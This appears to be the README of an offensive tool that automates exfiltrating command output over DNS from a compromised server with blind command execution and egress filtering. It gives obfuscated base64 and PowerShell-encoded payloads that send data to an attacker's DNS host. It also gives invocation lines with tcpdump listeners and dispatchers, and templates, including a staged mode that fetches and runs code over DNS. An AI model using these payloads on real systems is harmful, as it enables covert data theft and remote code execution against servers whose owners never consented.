
A bash script that automates the exfiltration of data over dns in case we have blind command execution on a server with egress filtering
A bash script that automates the exfiltration of data over dns in case we have a blind command execution on a server where all outbound connections except DNS are blocked. The script currently supports sh, bash and powershell and is compatible with exec style command execution (e.g. java.lang.Runtime.exec).
Unstaged:
Staged:
For its operations, the script takes as input the command we want to run on the target server and transforms it according to the target shell in order to allow its output to be exfiltrated over DNS. After the command is transformed, it's fed to the "dispatcher". The dispatcher is a program provided by the user and is responsible for taking as input a command and have it executed on the target server by any means necessary (e.g. exploiting a vulnerability). After the command is executed on the target server, it is expected to trigger DNS requests to our DNS name server containing chunks of our data. The script listens for those requests until the output of the user provided command is fully exfiltrated.
Below are the supported command transformations, generated for the exfiltration of the command: ls
sh:
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=
bash:
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash
powershell:
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
./procroustes_chunked.sh --help
In a nutshell, assuming we want to exfiltrate some data that has to be broken into four chunks in order to be able to be transmitted over DNS:
Some of their differences can also be illustrated through the template commands used for bash:
procroustes_chunked/bash:
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%
procroustes_full/bash:
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%
procroustes_full/bash/staged:
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash
| procroustes_chunked | procroustes_full | procroustes_full_staged | |
|---|---|---|---|
| payload size overhead (bash/powershell) | 150*NLABELS/500*NLABELS (+CMD_LEN) | 300/800 (+CMD_LEN) | 150/400[1] |
| dispatcher calls # | #output/(LABEL_SIZE*NLABELS)[2] | 1 | 1 |
| speed (bash/powershell) | ✔/✔ | ✔/✔ | ✓/✓[3] |
| configuration difficulty | easy | easy+ | medium |
[1] For the staged version, the command is downloaded through DNS, so the listed size is the total payload size as well.
[2] On procroustes_chunked, dispatcher is called multiple times and so as the provided command that is supposed to executed on the server (until all its output is exfiltrated). This behavior is not ideal in case the delivery of commands to the server (i.e. by calling the dispatcher) is time/resource intensive.
It may also cause problems in case the command we are executing on the server is not idempotent (functionality or output-wise, e.g. "ls;rm file") or is time/resource intensive (e.g. find / -name secret). A workaround for this case is to first store the command output to a file (e.g. /tmp/file) and then use the script to read that file.
[3] In the staged version we have the overhead of the time required to get the actual payload over DNS. It should be noted that the script makes use of A records to get the actual payload. Even though this allows our traffic to blend in better with the regular traffic of the target environment, it offers limited channel capacity (e.g. 4 bytes per request). We could make use of other record types like TXT and minimize the stage download time (close to zero) and the stager size.